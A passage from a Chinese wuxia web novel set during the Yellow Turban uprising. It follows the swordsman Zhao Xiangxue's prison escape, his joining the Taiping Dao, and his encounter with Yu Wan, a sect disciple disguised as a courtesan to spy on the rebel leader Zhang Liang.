“四策,下圣旨,令西凉军阀剿寇,许以官爵,财物,剿寇头功者,领凉州牧,西凉军阀匪寇林立,他们早就想剿匪扩大地盘了,同时,军阀彼此之间谁也不服谁,若得凉州牧,便是名正言顺的军阀,亦可号令群雄,如此种种,必死力剿贼。但西凉匪寇凶悍非凡,且存在已久,根基较深,不像交趾那般,真打起来,他们绝不会轻易投降,剿贼必损军力!届时,只有两种结果,贼灭,西凉军阀惨胜;贼损,西凉军阀惨败。届时,朝廷再使一军进驻西凉,西凉军阀孰能当之?” 马元义大惊,想不到眼前这位年轻人对局势的把控竟如此清晰! “昭兄,这四策都有道理,只是你忽略了一点。” “哪一点?” “朝政把握在宦官手中。”马元义笑了笑,接着说道:“你以为,朝廷里的贤臣、谋士想不到拯救万民的方法?他们只是无力施行罢了。” 昭相雪自嘲一笑,确实如此,皇帝昏庸,臣子再贤能,又有何用。 “昭兄,我看你气度不凡,腹有甲兵,难道没想过要做些什么,救助万民吗?” “救助万民?”昭相雪自嘲一笑。“如今我困居牢笼,自由尚是奢望,谈什么救助万民啊。” 马元义顿了顿,笑道:“若我能将你从牢笼中救出,你可否答应我一件事?” 昭相雪大笑:“马兄,你不是说笑吧,这里的守军,有数千人,就算能逃出牢笼,也会被追回来的吧。” “这你别管,我就问你答应不答应。” 昭相雪暗自偷笑,刚才那番高谈阔论定是唬住了马元义,这厮必是要我加入太平道,好,我正有此意。 昭相雪假意思虑片刻,答应道:“好,你要我做何事?杀人的事,我可不做。” “放心,不会让你杀人的,夜深了,快睡吧,剩下的事,明天再说。” 次日清晨,十来个小兵走近,将牢门打开。 士兵们喊道;“起来了,吃饭,吃饭,吃完了饭,赶快干活去!” 这饭那是人吃的,一个窝窝头,半碗糙米,窝窝头发霉,糙米中还有沙石、杂物,这完全不把刑徒当人看嘛! 这时,突然刮起一阵怪风,风夹迷雾,雾呈血红!更诡异的是,风雾仿佛认人一般,只往士兵身上吹,士兵被雾气笼罩,面貌狰狞,疯狂挣扎,数息之后,七窍流血,倒地身亡。 昭相雪大惊,牢中其他人却豪无反应,一脸平静。 众人对马元义作揖道:“多谢堂主搭救!” 马元义笑了笑:“不必谢我,要谢就谢梁将军吧,对了,宝将军已经在山后打通了密道,大家快走吧。” 当下,众人并未从牢门出牢,而是直接从大牢背后的山洞中逃了出去。昭相雪大惊,靠山而建的大牢不在少数,但此山有这么大个山洞,官府为何要在此处建牢?与画地为牢何异? 昭相雪拉住马元义:“马兄,这里为何会有这么大一个山洞,不会有诈吧!” 马元义大笑:“昭兄多虑了,此密道乃是宝将军昨夜所挖,官兵绝不知晓。” 昭相雪更是懵逼了,只一夜,便凿开这么长一条密道?! 虽有万千疑虑,但昭相雪还是跟着众人走了出去。 山洞另一边,十几个人等在那边,皆身着道袍。 为首道长笑道:“元义,你可算出来了。”“封山!” “是!” 接着那道长和十几个小道士一起发力,瞬时间,八方飞石聚来,将山洞再封住。 众人跪下答谢:“多谢道长搭救!” 道长客气道:“快走吧,那些官兵不傻,很快便会追上来的。” “大家聚在一起,太引人注目了,分头走吧。” “元义,小心点儿,冀州见。” “放心吧将军,别说几千官兵,就算来个几万,也奈何不了我。” 那道长笑了笑,众人向八方散去。 马元义与昭相雪两人结伴同行,路上,经过一个坟堆,墓碑上写着六个大字——亡夫胡武之墓。 昭相雪道:“胡武?好熟悉的名字啊。” “是那个死去的军人,真可怜,为国家战死沙场,丧葬费被他人侵吞也就罢了,妻子还被他人凌辱,哎。”马元义叹息几声,向胡武墓堆恭恭敬敬鞠了一躬,昭相雪也恭恭敬敬鞠了一躬。 这时,马蹄声起,两人慌忙闪进一旁草丛。 只见两名士兵骑着快马,绕着一条小路,上了山。 马元义道:“官兵动作也太急了吧,我们这才走多久啊,他们就追上来了!” 昭相雪摇摇头:“不是来追我们的,这是昨天晚上那个兵长和小卒。” “是他们?难不成,他们又要去祸害那个寡妇?” “无耻恶贼!无耻!” 突然,昭相雪看着小路,想起了什么:“这条路,我好像来过!”话罢,神色慌张,钻出草丛,追了上去。 马元义一把拉住:“你疯了?咱们现在是逃犯,你要自投罗网吗?” 昭相雪一把推开,二话不说,飞奔上山。 马元义见状只得跟上,没走多远,只见那两个官兵又回来了。 拿着大刀,快马飞驰,对昭相雪、马元义大喊:“闪开!快他娘的闪开!” 伯长手中拿的,正是昭相雪的那把九劫刀。 昭相雪丝毫不让,一脸怒色,凌空一脚,将那伯长踢落马下。 “你不配用这把刀。”昭相雪捡起九劫刀,恶狠狠盯着伯长。 伯长仔细瞧了昭相雪两眼,认出他来:“是你?你不是……”此刻,昭相雪拿着九劫刀,满眼杀气,伯长手无寸铁,哪敢久留,撒腿跑开。 马元义拉着昭相雪:“咱们得赶紧走了,官军很快就会包围此处。”昭相雪并未答话,一路狂奔,最终停在一处农院,摇摇头,小步进院,院子干净整洁,一片祥和,接着,昭相雪小步进屋,却被屋内景象吓倒在地。 屋中,一妇女用白菱悬梁自尽,正是昨天那位好心人——戚婷。 “王八蛋!我杀了你们!” 昭相雪满目怒火,提剑出门,向外追去! 马元义见了此景,猜中大概,急忙拉住昭相雪。 “昭兄,他们骑着快马,你只凭着一双脚,追得上他们嘛。” “或者说,你想追到军营去杀他们?军营里有数千官兵,你手持寸铁,能打得几人?!” 怒火中烧的昭相雪,哪管得上这些,甩开马元义拉扯的手,再冲出去。 马元义大惊,急施轻功,闪到昭相雪面前,将他挡住,怒吼道:“昭相雪!你可想清楚了,你是要为一民伸一时之冤,还是要为万民伸一世之冤!” 听了这话,昭相雪愣住了,马元义继续说道:“拿起刀很容易,谁都能拿起刀,但挥刀的学问可是大有讲究,几时挥刀?对谁挥刀?为谁挥刀?在哪里挥刀?如何挥刀?这些问题,旁观者可以不清楚,但拿刀之人,必须清楚!” “天底下,受苦受难的可不止那位姑娘一人!说简单些,你到底是要为了那姑娘一人出刀!还是要为了天下万民出刀!” 昭相雪默不作声,静思片刻,最终放下了剑。 马元义长吁一气:“昭兄,该你兑现承诺的时候到了。” 昭相雪看着马元义,等着他下半句话。 “我希望能邀请你,加入太平道!” “太平道?” “肃清逆反,救助万民,还天下百姓一个太平世界,此即为太平道!” …… 第十三章 师妹于婉 枯恂:“五十多年前,魔教高手倾巢而出,潜入琼剑山,想来,该是我曾师祖,昇伏大师阻止了他们,只是,为何他从未跟后辈提起过,魔教复辟可不是什么小事啊。” 昭相雪:“会不会,你曾师祖当年以为对付的是群小喽啰,所以,并未放在心上。” 枯恂摇摇头:“不会,照你先前所言,当年潜入琼剑山的可都是魔教精锐,他们的功法诡异,招式毒辣,应该很容易分辨才对,绝不可能认错。” 昭相雪:“还有一个可能,或许,当年与魔教交手的,并不是你曾师祖!” 枯恂思虑片刻:“确实,当年各门各派精英辈出,豫蛇教有惠恩师太,白马寺有祈野方丈,剑阁有章云,碧岐宗有慕容闵,不过,他们一打四一打五或许没问题,一打二十,难度太大,应该不是他们。” “那你怎么敢确定,你曾师祖就能一打二十呢?” 枯恂:“若昇伏大师都不能阻止他们,那中原武林还有谁能呢?难不曾,是他?” “谁啊?” 枯恂楞了片刻,笑了笑:“没谁没谁,我想糊涂了,陈年旧账,不提也罢,当年的事,已有高人替咱拦下了,他即不想留名,咱也别瞎猜了。” “也是,空口无凭,瞎说无证。” “昭兄,咱们好久不见了,我请你吃饭吧。” “枯兄,这般豪气,那我可就不推辞了。” “推辞啥呀,我顺便介绍个朋友给你。” “朋友?” “你认识的,和你有过仇。” 昭相雪瞬间紧张起来,握紧了九劫刀:“曹节?” “昭兄,哪能是他呀,这仇没这么深,是个女的,我小师妹。” “她呀,你这话说的,那哪算什么仇嘛,小事儿小事儿。” …… 两人走进饭馆,角落里,一女子白洁长裙,玉簪盘发,干净简洁,朴素淡雅。说来也巧,昭相雪今日也穿着白洁长衫,干净简洁,朴素淡雅。 那女子突然抬起头来,冲昭相雪笑了笑,只一笑,竟乱了昭相雪的心神,那种感觉很微妙,炙热兮如烈火中烧,清爽兮如春风拂面。 “好久不见,昭相雪。”女子姓于名婉。 “婉姑娘,好久不见。” 三人坐下,枯恂一看满桌大鱼大肉,瞬间晕了过去,小声对于婉说道:“小师妹,你点这么多菜,吃得完嘛。” 于婉亦小声应答道:“好不容易宰你一顿,必须多点几样,放心,我问过了,这家店可以打包!待会儿我再叫两菜。” 枯恂双眼一黑,差点没晕过去。 昭相雪看了看满桌酒菜,不禁问道:“枯兄,这么多菜,咱三能吃完吗?” 菜已经上了,点再多也退不了了,枯恂索性豪气一把:“没事儿,昭兄,敞开了吃,我小师妹一个顶三,外号猪妹,有多少吃多少,还怕不够呢!” “你才猪妹呢,你全家都是猪妹。”于婉还欲再言,抬头看了眼昭相雪,突然温柔起来:“人家饭量一直很小的好吧。” 枯恂一脸懵逼:“小师妹,你说话为何阴阳怪气的。” “哪儿阴阳怪气的,人家不是一直这样说话的吗?” “这么温柔,可不是你的作风,你可别……啊……”枯恂话说一半突然大叫起来。 于婉:“人家平时一直很温柔好吧。” 枯恂青筋暴起,扶住桌子,咬紧牙关:“是是是,一直很温柔,一直很温柔。” 于婉笑了笑,如山间牡丹一般明艳动人。 昭相雪突然说道:“婉姑娘,你踩到枯兄脚了。” 于婉一脸尴尬,赶紧收回脚:“啊,是吗,不会吧。” 枯恂呼了口气,神色渐定,注意到桌上有条小缝,接着,他指着那条缝对于婉笑了笑。 想来,昭相雪正是透过那条缝,观察看到于婉踩住了枯恂。 于婉看着那条缝,瞬间尴尬起来:“好了好了,等你们这么久,菜都要凉了,快吃吧。” 饭过一半,昭相雪突然说道:“枯兄,婉姑娘,我想请你们,帮我找个人。” 枯恂一边刨饭一边问道:“谁啊?” “司寇晨。” “司寇晨?”于婉一脸懵逼。 枯恂却谨慎起来:“你找的,是哪个司寇晨?” “青翼派掌门司寇箫之女。” “司寇箫的女儿?你找那个老贼的女儿干嘛?”于婉放下碗筷,面色有些怒意。 枯恂笑了笑,轻轻拍了拍于婉:“昭兄有所不知,司寇箫与咱们凌云谷有过节,你找他女儿干嘛?莫非,司寇箫也招惹过你?” 昭相雪见状哪敢说实话,赶紧点了点头:“是啊,咱们真是有缘,没想到他也是你们的仇家啊,哎,所以,你们有他女儿的消息吗” 枯恂:“没有,不过,司寇箫已经死了十六年了,死者为尊,你跟他的过节,还是不要算到他女儿头上的好。” 昭相雪点点头。 于婉却不罢休:“司寇箫那老贼虽然死了,但他犯下的账可没还清,如今,太平道横行,八成,就是那老贼惹的祸,若是让我找到他女儿,我非扒了她的皮不可。” 枯恂岔话道:“好了好了,快吃饭,菜都凉了。” 酒足饭饱后: 枯恂:“对了,昭兄,明天我的军队就要启程了,这段时间,我想让你帮忙照顾下婉儿,可否?” 昭相雪:“当然可以,放心,我保证婉姑娘完好无损的等你回来。” 枯恂:“一言而非,驷马不能追!” 昭相雪:“一言而急,驷马不能及!” “好,拜托了。” “放心吧。哎,枯兄,听说东边集市来了些乌桓商贩,也不知卖的些什么货,你们现在有事吗?要不,咱们瞧瞧去?” “实在抱歉,昭兄,我明天就要启程了,还有些要紧事要打理,实在抱歉。” “哦,没事儿,你们忙吧。” “嗯,那,就此别过了。”枯恂拉着于婉就欲离开。没想到于婉却一把挣脱了他:“对啊对啊,你有事就快去忙吧,我陪昭兄逛集市好了。” 枯恂一脸懵逼,惊问道:“苏兄可没我这么好说话,你确定?” 于婉毫无畏惧,微微一笑,点了点头。 “好吧,你狠,逛得开心啊,我帮你打理后事。”说完,枯恂对昭相雪作揖告辞。 第十四章 所谓伊人 一茶楼包间中,一年轻剑客,身着白衣,腰配长剑,容貌迤逦,观其行,风度翩翩、温文尔雅,俨然一副君子之像,乃是凌云谷谷主谷月清座下弟子:苏起。 片刻后,枯恂推门而进。 苏起:“为何不见小师妹?” 枯恂笑道:“大师兄,你还不知道小师妹吗?整天就知道钻空偷懒,她现在正和别人逛集市呢。说来也气,我邀她逛集市时,她满口有事拒绝,现在真有事了,她倒逛得开心。” 苏起不悦道:“谁啊,这么大面子?” 枯恂喝了口茶说道:“昭相雪,雒阳时,孤身行刺曹节的那个少年。” “听你们说起过,是个英雄,算了,不管他们了,咱先说正事。过两天,孤殇师叔马上就到了,你们把张梁盯紧了,可别让他离开了冀州。” “你这话说得轻巧,腿长在他身上,说走就走的,咱怎么拦,打又打不过!。” 苏起:“这就要看你的本事了。” 枯恂:“不对不对,这事得看小师妹的本事。” “小师妹?怎么,你有事儿?” “今天三堂合议,周堂主保我去豫州,助波帅攻打长杜,明日启程。” 苏起:“这么急?长杜之战,娥贼本就势大,如今周堂主再遣派援军,长杜必破啊。” “是啊,长杜若破,豫州必危!” 苏起:“那这么说的话,你得尽快启程啊,千万别让他们打下长杜!” “那是自然,师兄,你得帮我啊,我一个人可应付不来。” “把小师妹一个人留在冀州?不妥吧。” “小师妹鬼灵得很,从小到大,你可见她吃过半点儿亏?没事儿的,放心。” “江湖险恶,大意不得。” 枯恂:“她是凌云谷的弟子,必须得有独当一面的能力,咱们这样时刻守着她,只会害了她。放心吧大师兄,她的任务不过是盯紧张梁罢了,又不用动手,再说了,师傅过两天就来了,没问题的。” “好,你跟她说,若遇危险,赶紧撤出冀州,切不可以身犯险!” “好。” “师弟,我可不是开玩笑,张角他们修炼的,很可能是当年丢失的《太平经》,若是修炼得当,孤殇师叔都未必能敌!” “不会吧,眼下谷主闭关,若是师傅都打不过他们,那中原武林岂不危矣!” “武林可不止凌云谷一家,真到那时,白马寺、豫蛇庵、剑阁他们不会不管的,那都是后话了,眼下,咱们还是先分析分析长杜的战局吧!” …… 闹市之中,昭相雪、于婉并肩而行,逛来逛去,停在一处服饰店。 “昭兄,咱们进去瞧瞧乌桓人的服饰吧。” 昭相雪点点头,随于婉走进店去。 “客官,你们谁买衣服啊?”一胖子走来问道,那胖子衣着华丽,该是店里的老板。 “他买。”于婉指了指昭相雪。 “这边请。”老板将两人带到男子的服饰区。 “客官,喜欢长款还是短款啊?” “长的。”昭相雪还没来得及回答,却被于婉抢了先。 老板笑了笑,再向昭相雪,询问道:“确定要长的吗?” 昭相雪尴尬一笑:“先拿长款的试试吧。” “好咧。” 两人闲等之际,昭相雪莫名盯着于婉,看了许久。 “你盯着我干嘛?我脸上有什么不妥吗?” 昭相雪方觉唐突,慌忙闪避道:“没有没有,我只是看你像我的一位故友。” “咦,你还藏了位红颜知己啊!可以啊!艳福不浅啊!” “婉姑娘说笑了,在下孤身江湖二十多年了,哪有什么红颜知己。” “你这风姿绝卓的,不应该吧!” “婉姑娘倾国倾城,不也是孤身一人嘛。” “诶,昭少侠此言差矣,我可不是孤身一人,我可是柳絮楼的头牌,帘下宾客,没个几千也有几百吧。” “柳絮楼?那种烟花之地,往来皆是纨绔子弟,酒混之徒,可不是什么好地方。” “昭少侠去过?” “那倒没有,只是道听途说罢了,我劝婉姑娘还是尽早离开的好,久居其中,必受其害,你所谓的帘下宾客,不过是贪图你的美色罢了,不可当真。” 于婉微微一笑:“那这么说来,我与你境况相仿,皆是孤身一人。”话罢,于婉突然凑近昭相雪耳畔,妩媚细语道:“不如,你把我娶了好了,咱们凑合凑合,也算是成了双。” 这话还真的把昭相雪给惊住了,虽然自己长得一表人才,玉树临风,英俊潇洒、风流倜傥……此处省略一个万褒义词,但两人才见过两、三面耳,剧情发展得也太快了吧,有诈,一定有诈! 昭相雪莫名紧张、脸红起来:“姑娘~姑娘说笑了吧,我与你才见过两三面而已,现在说这些,是不是太早了啊。” 于婉却是一脸轻松,大笑起来:“那,我们就再多见几次面,以后再说这些!” 场面一度尴尬至极,昭相雪正不知该如何作答时,一小卒走入店中。 “昭帅,白波堂主有事请你前去商议。” 昭相雪宛如抓到救命稻草一般:“好,我马上就去。”话罢,昭相雪面露难色:“婉姑娘,实在抱歉,我这边还有急事,今天咱们就逛到这儿吧。” “你有事儿,你就去忙吧,咱们改日再逛!” “好,告辞。”昭相雪转身离去,行了七、八米,突然听见后面有个女子喊道:“相公,路上注意安全。”,听其声,好像是于婉的声音。 昭相雪愕然回首,确定了,真是于婉在喊! 昭相雪打了个寒颤,快步离去。 昭相雪走后,于婉前往客栈与苏起、枯恂汇合,一番数落后,三人分配好各自任务。次日清晨,枯恂整点好两万人马向长杜进发,苏起扮做军中幕僚,随其同往,于婉则留在冀州,继续假扮柳絮楼头牌,打探太平道高层下落。 第十五章 帘下宾客 三日后,豫州,豫蛇教大殿内: 一女子坐于主位之上,面遮青色薄纱,此人乃是豫蛇教主:青菱师太。自灵源师太退位后,豫蛇教一直由她统领,如今已过了十六个春秋。 “师傅,如今,黄巾贼四起,贼首波才率领数万兵力围攻长杜,贼兵势大,恐长杜不日将失,豫州不保!”殿下,一女子进言道,此人乃青菱师太座下二弟子秦嫣柔,人如其名,娇小瘦弱。 “师傅,豫州若失,豫蛇教亦将遭受战祸啊!”另一弟子说道,此人乃青菱师太座下三弟子,苏芸冉。 “只要守住长杜,豫州便丢不了!”殿下,一女子神态坚韧,慷锵有力道,此人乃青菱师太大弟子,江雨潇。 苏芸冉:“师姐,你说的轻巧,我可听说,前几天,冀州那边又派了个渠帅过来,帮忙攻打长杜,两军汇合,估计不下十万,长杜的官军才多少?螳臂当车,如何守得住?” 秦嫣柔:“长杜确实难守,三师妹,照你所言,咱们该如何?” 苏芸冉:“贼兵势大,豫州不日必破!弟子认为,咱们豫蛇教应该尽早撤出豫州才对。”。 “荒唐!”只见青菱师太从正位站起,一脸怒色,殿下弟子皆惶恐跪下:“豫蛇教创派近三百年,一直以扶危救难为己任,如今,豫州百姓遭此大劫,我等弃庵逃离,岂不愧对先师教诲!他日江湖谈起,岂不沦为笑柄!我青菱师太,可丢不起这个脸!怕死的,现在就给我卷铺盖走人,我青菱师太就当没这个弟子!” 殿下众人纷纷低下头,不敢作声,静默片刻,江雨潇突然站起:“师傅勿怒,弟子愿立马前往长杜,助官军破贼!弟子在,长杜在!长杜亡,弟子亡!” 大半弟子纷纷起身响应道:“弟子在,长杜在!长杜亡,弟子亡!” 声音越喊越大,越喊越响,直至所有弟子起身响应。 见状,青菱师太面色和缓了些:“好,不亏是我的徒弟!众弟子听令,即日起,你们由大师姐江雨潇全权指挥,务必协助官军守住长杜,如果长杜告危,立刻飞鸽传书告诉我,届时我自当亲往长杜,与敌死战!” “是”江雨潇领命带着众人退下。 众人走后不久,一女子,头戴朱纱斗笠,面遮朱红薄纱走进殿中。 青菱师太扫了一眼,淡定问道:“如何,查清楚了吗?” “禀告散人,属下查到,十六年前,凌云谷收了个女弟子,名叫于婉,她加入凌云谷那年,正好是小姐失踪的那年,并且,她的年纪,与小姐相仿。” “凌云谷?于婉?” …… 冀州: 昭相雪酒足饭饱后,城中遛弯,路过一店,无意一撇,只见里面人山人海,似有“大戏”,走近一看,店匾上写着三个大字:柳絮楼!岂不正是于婉乔装之处。 “这新来的花魁太过放肆,平时就爱装清高,如今,梁将军亲临,还装呢!这不找死嘛!” “不过是个有几分姿色的妓女罢了,出来卖还要立牌坊,装什么清高!” “我看你就是个新客,什么叫有几分姿色?!倾国倾城的绝世美人好吧!人家说得好好的,只卖艺不卖身退,一万步讲,李姑娘若真要卖身,那还不王公大臣随便挑!” “倾国倾城?你又没见过她,你怎么知道她倾国倾城!挡着帘布,说不定是个丑八怪呢!” “笑话,人家老板又不傻,长得丑敢让她来这柳絮楼卖艺?” “若是长得不丑,为何要遮上帘布!” …… 昭相雪听周围议论,竟莫名紧张起来,火急火燎挤了进去:“各位兄弟,各位兄弟,发生什么事了啊,怎么围这么多人啊?中间坐的是谁啊?” 只见人群之中,一中年男子坐于正中央,周边尽是随从,多达二十余人! 路人甲:“人公将军张梁你都不认识?” 昭相雪:“梁将军?他怎么在这儿?” 路人甲:“柳絮楼新来了个艺妓,不仅琴弹得好,声音也好听。” 路人乙:“可不嘛,重点是长得还好看!” 昭相雪:“叫什么名字啊?” 路人乙:“李恋思” 昭相雪:“我念什么诗啊,莫名其妙的。” 路人乙:“我是说,那个女的名字叫李恋思!” 昭相雪:“哦哦,你们继续说,到底怎么了。”昭相雪神色安定了些,放松的看起戏来。 路人甲:“这李恋思啊,自持有几分姿色,在这柳絮楼啊,霸道的很,她在二楼拉上帘布弹琴唱歌,宾客只能坐在一楼听。” 昭相雪听了路人的话,突然想起先前于婉说的话:“昭少侠此言差矣,我可不是孤身一人,我可是柳絮楼的头牌,帘下宾客,没个几千也有几百吧。” 昭相雪:“哎,兄弟,这柳絮楼,搭帘卖艺的女妓多吗?” 路人乙摇摇头:“此乃李姑娘独创,整个冀州好像都只有她一人如此!” 昭相雪:“只她一人?那你们,可认识一位叫于婉的姑娘?” 众人摇了摇头。 “哦哦。”昭相雪尴尬一笑:“你们继续,这李姑娘到底和梁将军发生了什么?” 路人甲:“其实也没什么,这柳絮楼啊,梁将军是第一次来,据说是专门来听李姑娘唱歌的,一开始,他跟咱们一样,坐在一楼,隔着帘布听李姑娘唱歌,哪知没过多久,他便要李姑娘拉开帘布,欲目睹李姑娘芳容,周围看客憋了许久,早就想一睹光彩了,所以,也跟着起哄,但李姑娘说什么也不肯,不仅帘布没拉开,人还提前下了场,僵持不下,老板去说都没用。最后,梁将军撂下一句话,若是半个时辰内,李姑娘再不揭开帘布登台,他便一把火,烧了整个柳絮楼!” 昭相雪:“不至于吧,梁将军什么时候说的?” 路人甲:“好像是,半个时辰前吧。” 昭相雪大惊:“半个时辰前?那岂不是,现在就要烧楼了!”正话间,一老鸨走到张梁身边。 “这位大爷,让您久等了。”老鸨一边说着,一边招呼身边的妓女前去伺候张梁。 “李姑娘呢?怎么还不出来,我可是说到做到,再不出来,我可真会一把火烧了这里,我等了这么久,可是给足她面子了,礼尚往来,她也该给我几分薄面吧!” “大爷说的是,李姑娘正在换衣服呢,马上就到!马上就到!” “算他识相!” 周围看客听见老鸨言语,瞬间躁动起来,李恋思来到这柳絮楼不到一周,凭着精湛的琴艺、绝美的割喉,很快便征服了大片宾客,宾客们只听过声,可从未见过她的真容,如今沾了张梁将军的光,有幸一睹芳容,自是个个激动起来。 喧闹声下,帘布那边闪出一个人影来,老鸨高呼道:“李姑娘来了,小张,快把帘布拉起来!” 随着老鸨令下,帘布缓缓拉起…… 第十六章 楼上歌姬 冀州边界某山野,一老道背着一把长剑,骑着一匹骏马飞驰前行,正是凌云谷大长老——孤殇道长。 只听山野间传出巨大声响来,有山崩地裂之感,骏马受此一惊,瞬间疯跑起来,孤殇握紧缰绳,几番调试亦不能使惊马冷静,为保自身安全,只好跳下马来,任其离去。 这时,山野间传来一阵狂笑:“成了!成了!终于成了!” 孤殇远远一眺,山顶似乎站着一个人,黄色道袍,漫天碎石飞旋在他身边。 “何方妖人,在此作乱!”孤殇凌空一跃,拔出利剑,向那人击去…… 冀州、柳絮楼: 帘布拉起,一女子坐于楼上,一边抚琴,一边唱歌,红裙金簪、明艳动人。面颊红润,观之即醉,双眸妩媚,视之摄魂,这花魁,确实配得上倾国倾城的赞誉。 当下,几乎所有宾客都丢了魂,直勾勾的盯着李念思,有的还流出了口水! 盯得最紧的,竟然是自诩正人君子的昭相雪,倒不是他起了色心,只是,你确定这花魁不是于婉?!鼻子、眼睛、嘴巴,简直一个模子刻出来的,但若要说她是于婉,却也不合常理,毕竟,于婉何时似这般明艳妩媚过!不可能,绝不可能! 微风轻拂,将李恋思薄纱披肩吹落,披肩被轻风托起,在柳絮楼中转了许久,最终,挂在楼梯栏杆间。场下宾客瞬间燃起,蜂拥挤上楼梯,抢夺起那条薄纱披肩…… “这是我的” “我先看到的!” “我先拿到的!” “给我!”、“给我!” “李恋思,嫁给我!” “嫁给我!” “李小姐!嫁给我!” …… 不知何人起了头,楼下宾客瞬间沸腾起来,皆高声示爱。 琴声戛然而止,李恋思缓缓站起身来,妩媚一笑:“你们这么多人,而我,只有一个,你们说,我该嫁给谁好呢?” “嫁给我!”“嫁给我!” “我出一百两。” “我出五百两!” “我出一千两!” “切,你这穷酸相,有一千两吗?李小姐,我出两千两,只要你愿意,我现在就派人去取。”说这话的,乃是冀州富甲赵氏,此人在冀州颇有权势,此话一出,原本躁动的宾客皆安静下来,无人再敢与其争锋。 “我出五千两!黄金!”赵氏怒目看去,正要争辩,但看见对手后,不在吭声,出黄金五千者,乃是张梁,手下数十万黄巾军的张梁。 张梁伸手轻轻一挥,那条薄纱披肩竟从路人手中脱洛,径直飞回李恋思肩上。 “李姑娘,天凉,多穿点,可别感冒了。” 李恋思整理起薄纱披肩,冲张梁笑了笑:“梁将军让妾身多穿点,妾身,便多穿点,梁将军让妾身少穿点,妾身,便少穿点。” 张梁大笑起来:“这么说来,李姑娘,是愿意收下这五千两了?” 老鸨见势,双眼发红光,赶紧向张梁敬酒:“梁将军乃当世豪杰,李姑娘能嫁给你,那是她上辈子修的福分!这五千两,咱们收下了!收下了!” 老鸨:“梁将军,我看,择日不如撞日,今晚就把婚事办了吧。” 张梁喜不胜收,十分激动:“今晚?好啊,李姑娘,就今晚如何?” 李恋思并未回答,而是莫名扫了眼昭相雪,与此同时,昭相雪亦正眼看着她,四目相对,李恋思立马闪开,脸色比刚才更红润了些,侧过身去,娇羞着答道:“妾身听将军的。” 老鸨道:“放心吧,梁将军,你们两乃是天作之合!没人敢反对!” 话音刚落,一刀客从人群中走出 “我反对!”此刀客,竟是昭相雪! 张梁瞬间变脸,招呼手下“伺候”那刀客。 狭小的空间里,二十多个人将昭相雪围在中间一顿海揍,刀剑锋利无眼,没过多久,昭相雪便挂了彩,领了三、五道小口,但他并未拔刀,一直以刀鞘对敌。二十多个打手,出招狠毒,下的都是死手。但招招式式皆被昭相雪巧妙化解,被未受重伤,张梁见状,让手下停了下来,围而不攻。 “小子,你为何不拔刀?莫不是瞧不起我?” “将军误会了,在下昭言,白波堂下一方渠帅,不敢犯上!” “白波堂的?”张梁笑了笑,一脸傲气:“小小渠帅,你可知我是谁!” 昭相雪领会其意,立马半跪行礼:“渠帅昭言,拜见人公将军。” “既然知道我是谁,那还敢以下犯上与我抢人!” 昭相雪一脸悲伤,竟流下眼泪来,扑通一声跪在地上:“将军,在下实在迫不得已啊,还请将军,放过我夫人吧!” 张梁一脸懵逼:“夫人,谁是你夫人?” 昭相雪伸手指向楼上的李念思。 场下宾客瞬间哗然。 张梁看向台上李恋思,李恋思道:“将军切莫误会,他在胡言乱语,妾身根本不认识他!” 张梁闻言大怒:“放肆,昭言,你胆敢胡言乱语,败坏李姑娘名声,找死!” “将军,在下所言,句句属实啊,前几日,我与夫人吵架,她半夜偷偷跑了出去,我以为她只是一时置气,很快便会想通回来,但整整过去五天,一点儿消息没有,我找了好久,今日,才终于在这柳絮楼找到她!” “将军,他见过我夫人,你问他便知!”昭相雪指向张梁身旁一小卒,那小卒正是几日前,昭相雪逛集市时,传他去开会的那个。 小卒慌忙跪下。 说来也巧,张梁作为太平道高层,到白波堂主地界巡查,只带了十名高手贴身保护,白波堂主担心张梁安危,假借向导之名,另派了十名高手保护他,凑巧,这位小兄弟,便是其中之一。 “你帮我看看,他说的,是真的吗?” 那小卒仔细打量起李恋思,想了许久:“回禀将军,眼睛、鼻子、嘴巴都很像,但又好像不是同一人,昭帅的夫人,好像没有李小姐漂亮。” 李恋思道:“将军,快把他赶走吧,我根本不认识他,他分明就是个地痞流氓!” 张梁点点头:“昭言,我想你是认错人了吧,李小姐乃是人间仙女,如何会嫁与你这凡夫俗子,你也不撒泡尿照照自己,来人,把昭言给我赶出去。” 昭相雪躺在地上,犯起混来:“我不走,她本来就是我老婆,我不走,我不走!” “昭言,你若是再不走,我可就动真格的了,刀剑无眼,切莫自寻死路!”张梁一边说着,一边拔出佩剑来。 “我就算死,也要死在我夫人面前,动手吧!” “疯言疯语,我看你是存心搅局!去死吧。”张梁喝退左右手下,亲自提剑,杀向昭相雪。 …… 第十七章 夫妻一场 昭相雪躺在地上,手中握紧九劫刀,与张梁一战,他只有一成胜算,但他却有九成把握全身而退,这九成,掌握在李恋思手中。 长剑袭来,昭相雪冷汗直冒,大喊道:“李恋思,你再不承认,你夫君可就真死了!” “住手!”台上李恋思朝张梁喊话道。 李恋思朝张梁跪下:“对不起梁将军,昭言说得对,我确实是他的妻子。” …… 昭相雪住处: 李恋思替昭相雪包扎起伤口来,准确来说,应该是于婉替昭相雪包扎起伤口来。 于婉吐槽道:“想不到你这么关注我啊,化这么浓的妆你也认得出?” 昭相雪笑了笑,并未回答,盯着于婉的眼睛看了许久。 “你也真是的,伤这么重还不还手,你不是也有刀吗?砍回去啊!” 昭相雪:“太平道有规定,以下犯上可是死罪,我若是拔了刀,天大的理由也说不清。” “这样啊,还好,刀口伤得不深,药已经敷好了,希望没什么大碍。” “你不用内疚,放心好了,这点小伤,对于本大侠来说,根本不是事儿!” 于婉不屑一笑:“我内疚什么,我还要找你算账呢!我马上就要嫁入豪门了,你突然冒出来搅局,还说出什么,我是你妻子?你这不是败坏我名声吗?” “怕什么,我用的化名昭言,你用的化名李恋思,太平道一倒台,咱们更名唤姓,谁认识谁啊。” “我今天才算是认清了你,原来你这么渣!” 昭相雪瞬间急眼起来:“我渣?之前若不是我舍命救你,你现在可就落入太平道贼窝了,李大师说了,张角他们三兄弟的功法诡异,非御境以上,不可敌之,你若是真答应了他,我看你怎么脱身!” “笑话,本姑娘运筹帷幄,这一切都在我的计划之中,我先假装答应嫁给他,新婚之夜再灌酒把他毒晕,接着,一刀杀了他,如何,不费吹灰之力便拔掉太平道三首之一,厉害吧。” “厉害个屁,说书的都不敢这么说!张梁既然能成为几十万信徒的领袖之一,岂会是等闲之辈,他若是不喝怎么办,或者说,喝下去后,你的毒,没把他毒晕怎办?难不成,你真要把自己献给他?” 于婉摆摆手:“怎么会,从小到大,我的计谋,可从未失手过!不可能!绝不可能!” 